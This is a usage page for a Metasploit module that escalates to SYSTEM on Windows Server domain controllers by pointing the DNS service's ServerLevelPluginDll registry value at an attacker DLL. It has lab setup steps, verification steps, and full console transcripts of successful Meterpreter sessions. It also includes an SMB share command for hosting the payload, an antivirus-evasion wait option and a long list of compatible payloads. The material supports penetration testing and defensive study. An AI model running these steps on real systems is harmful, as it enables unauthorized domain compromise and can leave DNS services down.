DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/windows/local/dnsadmin_serverlevelplugindll metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation
Module: exploit/windows/local/dnsadmin_serverlevelplugindll
Source code: modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb
Disclosure date: 2017-05-08
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the ServerLevelPluginDll value using dnscmd.exe to create a registry key at HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ named ServerLevelPluginDll that can be made to point to an arbitrary DLL. After doing so, restarting the service will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended when using a UNC path. Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist, the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus after the timeout specified by AVTIMEOUT expires, its possible that the ServerLevelPluginDll value of the HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ key on the target computer may point to an nonexistant DLL, which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for this module for advice on how to resolve this issue should it occur. This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows Server version up to and including Windows Server 2019.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.

Side Effects:

  • config-changes: Module modifies some configuration setting on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/dnsadmin_serverlevelplugindll
msf exploit(dnsadmin_serverlevelplugindll) > show targets
    ... a list of targets ...
msf exploit(dnsadmin_serverlevelplugindll) > set TARGET target-id
msf exploit(dnsadmin_serverlevelplugindll) > show options
    ... show and set options ...
msf exploit(dnsadmin_serverlevelplugindll) > set SESSION session-id
msf exploit(dnsadmin_serverlevelplugindll) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Windows Server 2003 and above

Introduction


This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the ServerLevelPluginDll value using dnscmd.exe to create a registry key at HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\ named ServerLevelPluginDll that can be made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.

Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the Service Manager without first clearing out the ServerLevelPluginDll value of the HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ key using an account with administrator privileges.

To avoid the potential of this occurring, this module has a configurable option, AVTIMEOUT, which allows users to configure how long they would like to wait for any potential AV to pick up on the file after which the module will then check to ensure the dropped DLL file exists prior to creating the ServerLevelPluginDll value within the HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ key.

It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should be especially careful when setting the value of DLLPATH to ensure that they don't inadvertently set an incorrect IP address and thereby prevent the DNS server from being able to restart.

This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows Server version up to and including Windows Server 2019.

Setup Steps (Windows Server 2019 Standard)

  1. Install Windows Server 2019 Standard with GUI
  2. Install and configure Active Directory Domain Services and DNS services.
  3. Promote the server to a domain controller once the initial setup wizard is complete. This will complete the setup of the AD.
  4. Reboot
  5. Add a new user which I called normal and set its password to a long string such as thisIsADamnGoodPassword123!. Don't use any other special characters or you may end up violating the default password policy.
  6. Add this new user to two groups: DnsAdmins (should have been created with the installation of the DNS server and the AD Server), and Remote Desktop Users. See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info on how to do this.
  7. To go Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers -> Default Domain Controllers Policy and right click on it, then select Edit. From here select Policies -> Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select the Allow log on locally policy underneath this and double click on it. Ensure the Define these policy settings option is checked, and then select Add User or Group and add in the name of the user that you just created. It should look something in the format of domain name*user name*. Then click Apply and click OK.
  8. Run gpupdate again.
  9. Reboot
  10. You should now be able to log in as the new user, which should also be in the DnsAdmins group. You can confirm this by running net localgroup DnsAdmins and confirming that the new user is listed as a member of this group in the output returned.
  11. Run wmic useraccount where name='*username of the new account*' to get the SID of the new account that you added in earlier.
  12. Run sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command (aka the SID of the new low privileged user you added).

Verification Steps


  1. Get a Meterpreter shell
  2. use exploit/windows/local/dnsadmin_serverlevelplugindll
  3. set PAYLOAD <payload>. Payload architecture must be the same as the target system
  4. set LHOST <lhost>
  5. set LPORT <lport>
  6. set SESSION <session_no> to specify session
  7. set DLLNAME <dllname> if you want to name your DLL something other than msf.dll
  8. set DLLPATH <dllpath> if you want to place your DLL somewhere other than %TEMP% or if you want to use a UNC path
  9. set MAKEDLL true if you want to just make the DLL, and not carry out the exploit
  10. exploit to get SYSTEM shell if MAKEDLL is set to false, or to write the DLL to the ~/.msf4/local folder if MAKEDLL is set to true

Options


DLLNAME

Name of the DLL to use.

DLLPATH

Location of the DLL to use. If a UNC path is provided, the module will assume that the operator has already performed the following actions: 1. Set up a working SMB2 share (via a tool such as Impacket's smbserver.py via a command such as sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/ 2. Created a DLL of the same architecture as the target system and placed in within this share.

MAKEDLL

If set to true, then just create the DLL, do not conduct the full exploit. The resulting DLL will be stored in the ~/.msf4/local directory.

AVTIMEOUT

Time, in seconds, to wait for any AV on the target system to potentially pick up on the dropped DLL file, prior to the module checking to see if the DLL file still exists. This is needed to prevent a scenario where the DLL file gets removed and the module tries to make changes that could prevent the DNS server from being able to start.

Scenarios


Windows Server 2019 Standard x64, writing msf.dll to %TEMP%

msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll 
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    msf.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    false            yes       Just create the DLL, do not exploit.
   SESSION                     yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.17.168.195   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
RHOST => 172.17.169.123
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 
SESSION => 1
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
LPORT => 7788
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Checking service state...
[*] Building DLL...
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
[+] Looks like our file wasn't caught by the AV.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:7788
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500

meterpreter > 
[+] Exited danger zone successfully!

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  RAPID7\normal @ WIN-M5JU6L5RA9L        0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L  0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN-M5JU6L5RA9L
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : RAPID7
Logged On Users : 12
Meterpreter     : x64/windows
meterpreter > 

Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll

The easiest way to set this up is to Impacket's smbserver. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket. Download the latest release and untar it, then cd into the new directory that is created. You should see a file named setup.py. Run the command sudo python3 setup.py install and it will install Impacket for you. Once this is done, navigate to the examples directory and follow the following steps:

 ~/Desktop/impacket-0.9.21/examples  sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named test, that will be sharing the contents of the directory at /home/gwillcox/.msf4/local/. Next, set MAKEDLL to true and run the module to generate the payload.

msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll 
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    mp4.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    true             yes       Just create the DLL, do not exploit.
   SESSION    3                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     6688             yes       The listen port
   RHOST     172.17.169.123   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > 

Once the DLL has been generated, one can proceed with the actual exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false MAKEDLL => false msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\172.17.168.195\test DLLPATH => \172.17.168.195\test msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[] Checking service state... [] Using user-provided UNC path. [!] Entering danger section... [] Modifying ServerLevelPluginDll to point to \172.17.168.195\test\mp4.dll... [+] Registry property serverlevelplugindll successfully reset. [] Restarting the DNS service... [] Started bind TCP handler against 172.17.169.123:6688 [] Sending stage (200262 bytes) to 172.17.169.123 [*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : WIN-M5JU6L5RA9L OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : RAPID7 Logged On Users : 12 Meterpreter : x64/windows meterpreter >

Windows Server 2019 Standard x64, just creating DLL

msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll 
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    mp4.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    true             yes       Just create the DLL, do not exploit.
   SESSION    3                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     6688             yes       The listen port
   RHOST     172.17.169.123   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >

Notes


  1. This module is not particularly opsec-safe as it drops a DLL to disk, writes to the registry, and is sure to generate a ton of event logs when the DNS service is stopped and restarted..
  2. Automatic cleanup of the dropped DLL is attempted if the DLL has been written to disk, but if automatic cleanup fails manual cleanup may be necessary.

Go back to menu.

Msfconsole Usage


Here is how the windows/local/dnsadmin_serverlevelplugindll exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/dnsadmin_serverlevelplugindll

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show info

       Name: DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation
     Module: exploit/windows/local/dnsadmin_serverlevelplugindll
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-08

Provided by:
  Shay Ber
  Imran E. Dawoodjee <[email protected]>

Module side effects:
 config-changes
 ioc-in-logs

Module stability:
 crash-service-down

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
  DLLNAME    msf.dll          yes       DLL name (default: msf.dll)
  DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
  MAKEDLL    false            yes       Just create the DLL, do not exploit.
  SESSION                     yes       The session to run this module on.

Payload information:

Description:
  This module exploits a feature in the DNS service of Windows Server. 
  Users of the DnsAdmins group can set the `ServerLevelPluginDll` 
  value using dnscmd.exe to create a registry key at 
  `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` named 
  `ServerLevelPluginDll` that can be made to point to an arbitrary 
  DLL. After doing so, restarting the service will load the DLL and 
  cause it to execute, providing us with SYSTEM privileges. Increasing 
  WfsDelay is recommended when using a UNC path. Users should note 
  that if the DLLPath variable of this module is set to a UNC share 
  that does not exist, the DNS server on the target will not be able 
  to restart. Similarly if a UNC share is not utilized, and users 
  instead opt to drop a file onto the disk of the target computer, and 
  this gets picked up by Anti-Virus after the timeout specified by 
  `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` 
  value of the 
  `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the 
  target computer may point to an nonexistant DLL, which will also 
  prevent the DNS server from being able to restart. Users are advised 
  to refer to the documentation for this module for advice on how to 
  resolve this issue should it occur. This module has only been tested 
  and confirmed to work on Windows Server 2019 Standard Edition, 
  however it should work against any Windows Server version up to and 
  including Windows Server 2019.

References:
  https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
  https://adsecurity.org/?p=4064
  http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

Module Options


This is a complete list of options available in the windows/local/dnsadmin_serverlevelplugindll exploit:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   AVTIMEOUT  60               yes       Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
   DLLNAME    msf.dll          yes       DLL name (default: msf.dll)
   DLLPATH    %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL    false            yes       Just create the DLL, do not exploit.
   SESSION                     yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the windows/local/dnsadmin_serverlevelplugindll exploit:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show advanced

Module advanced options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                20               no        Additional delay in seconds to wait for a session

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                               no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/dnsadmin_serverlevelplugindll module can exploit:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/dnsadmin_serverlevelplugindll exploit:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   17   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   18   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   21   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   22   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   23   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   24   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   25   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   26   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   27   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   28   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   29   payload/windows/exec                                                         normal  No     Windows Execute Command
   30   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   31   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   32   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   33   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   34   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   37   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   38   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   39   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   41   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   42   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   43   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   44   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   45   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   46   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   47   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   48   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   49   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
